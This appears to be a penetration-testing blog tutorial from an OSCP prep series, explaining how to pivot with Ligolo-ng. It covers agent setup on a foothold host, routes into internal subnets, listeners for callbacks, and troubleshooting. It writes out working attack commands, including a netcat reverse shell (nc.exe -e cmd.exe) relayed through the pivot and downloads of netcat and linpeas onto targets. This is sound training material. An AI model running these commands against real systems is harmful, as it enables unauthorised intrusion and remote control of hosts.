The OSCP Toolkit: Ligolo-ng

Search for a command to run...

No comments yet. Be the first to comment.
OSCP Toolkit is an expanding Hack2Harden series built around the tools and workflows I actually relied on while preparing for and passing the OSCP. Each chapter focuses on a specific job such as enumeration, web testing, Active Directory, pivoting, credential attacks, and privilege escalation, with clear commands, practical reasoning, common mistakes, and straightforward guidance designed for real use in labs and exam prep.
The Active Directory Swiss Army Knife If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up. NXC is one of the tools I
The Active Directory Swiss Army Knife If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up. NXC is one of the tools I

The offensive security tools I actually relied on while preparing for and passing OSCP, organized by the job they solve. Hey everyone. I just officially passed the OSCP, and now that I'm on the other

Craft — Proving Grounds Practice Walkthrough Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Intermediate Category: Standalone (Windows — Web Upload to SYSTEM) Introducti

Nagoya — Proving Grounds Practice Walkthrough Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Hard Category: Active Directory (Full Domain Compromise) Table of Contents

How I actually use Ligolo-ng to pivot: the mental model, the minimal workflow to get a working tunnel, and the listener, file transfer, and troubleshooting workflows for when you need more.
This is the first deep dive in the OSCP Toolkit series
https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me
The hub explains where Ligolo fits in the bigger picture. This one is the how, straight from my own workflow.
/I'm going to keep this the way I actually run it: shortest useful path first, commands before theory, one default before alternatives. Get a pivot working, then reach for the extra stuff only when the box makes you.
Ligolo-ng is a tunneling and pivoting tool. You get a foothold on a host that can see an internal network you can't, and Ligolo turns that host into a doorway so you can attack what's behind it.
Here's the whole mental model, and if you get this one thing the rest of Ligolo makes sense:
Routes are for Kali reaching in. Listeners are for targets calling back.
Those are two different jobs and two different directions.
Route: you add a route through the tunnel, and now Kali can reach internal hosts directly. Traffic goes Kali to pivot to internal target. This is how you scan, enumerate, and attack machines on the inside.
Listener: an internal target needs to connect back to you (a reverse shell, a file download). The listener binds on the pivot, the target calls the pivot's IP, and Ligolo forwards that connection home to Kali. Traffic goes internal target to pivot to Kali.
Routes push you into the network. Listeners pull a callback back out to you. Keep these two straight and Ligolo stops being confusing.
Most of your work is routing. Listeners come up only when a target has to talk back to you, and I'll give them their own section later. For now, just hold the split: reaching in is a route, calling back is a listener.
This is the core workflow. Proxy on Kali, agent on the pivot, start the tunnel, forward a route, verify. Nothing else. If all you ever learn is this section, you can pivot.
The proxy is the Kali-side Ligolo server. Your agent connects back to it.
sudo ligolo-proxy -selfcert
It will prompt you: ? Enable Ligolo-ng WebUI? Answer No. It then listens on 0.0.0.0:11601 by default. Leave it running in its own terminal.
The agent is the small binary that runs on your foothold host and connects back to your proxy. Transfer it however you normally move files (your route-side HTTP server, SMB, whatever you already have), then run it.
On a Linux pivot:
chmod +x ./agent
./agent -connect 192.168.45.185:11601 -ignore-cert
If you need the tunnel to survive after your shell command returns, background it:
nohup ./agent -connect 192.168.45.185:11601 -ignore-cert >/tmp/ligolo.log 2>&1 &
On a Windows pivot:
C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert
From a shell where you need it backgrounded (Evil-WinRM, for example):
Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.185:11601 -ignore-cert"
Replace 192.168.45.185 with your Kali VPN IP. -ignore-cert is what lets it accept the self-signed cert from -selfcert.
One rule I learned the annoying way: one pivot, one agent. Duplicate agents cause unstable sessions, routes that vanish, and listeners that work once then die. If things get weird, kill extra agents (pkill -f agent on Linux, taskkill /F /IM agent.exe on Windows) and run one clean one.
Back in the Ligolo console on Kali:
session
Pick your agent from the list, then:
start
That brings up the ligolo interface on Kali. The tunnel is live, but Kali doesn't know to send anything through it yet. That's the route.
This is the crux of the whole tool. You tell Kali to send traffic for the internal network through the Ligolo interface. You have two options, and you'll use both depending on the situation.
Forward the whole subnet when you want to reach everything on the inside:
sudo ip route add 10.10.168.0/24 dev ligolo
Forward a single host with a /32 when you only care about one machine (cleaner, and avoids clobbering routes you already have):
sudo ip route add 10.10.168.148/32 dev ligolo
Quick note so nobody gets stuck: the interface is usually named ligolo, but depending on version it can show up as ligolo0. Run ip addr to see the real name on your box and use that in the command.
Do not start hunting shells until you've confirmed Kali can actually reach the inside. Test it:
nxc smb 10.10.168.148
If NetExec talks to the internal host, your pivot works and you're clear to attack. If it doesn't, the problem is your route or your agent, not the target, and that's where you focus.
That's it. Proxy, agent, start, route, verify. Prove routing before chasing shells and you'll save yourself a lot of wasted time.
Everything above gets you a working pivot. The rest of this you reach for only when a specific box demands it.
Here's the exact situation where this comes up, and it's a good one to burn in. Say I've got subnet routes into the internal network and I need to land SigmaPotato on a host to abuse SeImpersonate. I can reach the host over my route, but the payload needs to send a shell back to me, and the internal target can't route to my Kali VPN IP directly. It can only reach the pivot.
So I stand up a listener on the pivot. The target calls the pivot's internal IP, and Ligolo forwards that connection home to Kali.
My default listener:
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
Reading it: 0.0.0.0 means the pivot listens on all its interfaces, 9999 is an uncommon high port that avoids conflicts, and 127.0.0.1:9999 forwards the connection back to a service listening on Kali.
Then the payload on the target calls the pivot IP, not Kali:
C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9999
And you catch it on Kali:
rlwrap -cAr nc -lvnp 9999
The single most common mistake here is making the target call back to your Kali IP (192.168.45.185) or to 0.0.0.0. Don't. The victim talks to the pivot. The pivot talks to Kali. Callback IP is always the pivot's internal IP.
Windows owns a lot of common ports, and policy filters others, so don't waste time fighting them. Good defaults that tend to just work: 9999, 9998, 10080, 24444. Avoid defaulting to 80, 443, 445, 8000, 8080. If a port fails to bind, don't troubleshoot it, switch to a high uncommon one and move on:
listener_add --addr 0.0.0.0:10080 --to 127.0.0.1:10080 --tcp
Same idea as a listener. The internal target can't reach Kali, but it can reach the pivot, so you forward your HTTP server through Ligolo.
# Kali: serve the file
python3 -m http.server 9999 --bind 0.0.0.0
# Ligolo: forward the port
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
# Target: download from the PIVOT IP, not Kali
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe
On Linux targets, wget http://10.10.168.147:9999/linpeas.sh -O /tmp/linpeas.sh. Same rule: the URL points at the pivot IP.
When you're transferring a file and catching a shell, don't reuse one port for both jobs. It causes confusing false negatives. Split them: HTTP on one, shell on another.
# Kali
python3 -m http.server 9999 --bind 0.0.0.0
rlwrap -cAr nc -lvnp 9998
# Ligolo
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
listener_add --addr 0.0.0.0:9998 --to 127.0.0.1:9998 --tcp
# Target: download on 9999, shell on 9998
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe
C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9998
Deeper networks chain the same idea. Agent one on the first pivot routes you into the second network, you get a foothold on a second pivot in there, and agent two routes you deeper still. The mental model never changes: each hop is another route, and every rule in this article applies at every layer. The one thing that keeps double pivots sane is the discipline from Part 2, one clean agent per pivot, prove each leg before adding the next.
When a callback doesn't land, don't guess. Walk the path: target to pivot to Ligolo to Kali service. Check each leg in order and the broken one reveals itself.
Is the listener actually up? listener_list
Is your Kali service listening on the right port? ss -lntp | grep 9999
Can the target even reach the pivot port? From the target: Test-NetConnection 10.10.168.147 -Port 9999
Is traffic hitting Kali at all? sudo tcpdump -ni any 'tcp port 9999'
How to read it: if the target can't reach the pivot port, it's a pivot listener or routing problem. If the target reaches the pivot but Kali sees nothing, your Ligolo listener is wrong or dead. If Kali sees traffic on tcpdump but your nc or Python catches nothing, your Kali service is on the wrong port or wrong bind. Each symptom points at exactly one leg.
Bind errors (an attempt was made to access a socket in a way forbidden by its access permissions) almost always mean the port is busy, reserved, or owned by Windows. Don't fight it, switch to 0.0.0.0 and a high uncommon port.
If Ligolo just feels haunted (sessions dropping, routes disappearing, a listener that died for no reason), stop troubleshooting stale state. Kill duplicate agents, restart the proxy clean, run one agent. Nine times out of ten it was a duplicate agent.
sudo pkill -f ligolo-proxy
sudo pkill -f ligolo
sudo ligolo-proxy -selfcert
SMB is not like a normal high-port shell. Responder and SMB coercion want TCP 445, and Windows almost always already owns 445 on the pivot (netstat -ano | findstr ":445", and if PID 4 owns it, that's Windows SMB). A high-port Ligolo listener won't catch SMB the way it catches a normal reverse shell. If you have admin on the pivot you can free the port (net stop server /y) and forward 445, but don't assume high-port SMB "just works." It's the one protocol that breaks the simple pattern.
# Proxy (Kali), answer No to the WebUI prompt
sudo ligolo-proxy -selfcert
# Agent (Linux pivot)
./agent -connect 192.168.45.185:11601 -ignore-cert
# Agent (Windows pivot)
C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert
# Tunnel + route (Kali / Ligolo console)
session
start
sudo ip route add 10.10.168.0/24 dev ligolo # whole subnet
sudo ip route add 10.10.168.148/32 dev ligolo # single host
nxc smb 10.10.168.148 # prove it
# Listener (target calls back)
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
# target calls the PIVOT IP: 10.10.168.147:9999
# Good ports: 9999 9998 10080 24444
# Avoid: 80 443 445 8000 8080
The golden rule, one more time: routes are for Kali reaching in, listeners are for targets calling back. Get that straight and Ligolo is easy.
That's how I run Ligolo on every box. Next up in the toolkit, the NetExec deep dive. For the full walkthroughs where this pivoting shows up in a real kill chain, those are the box writeups on the rest of the blog.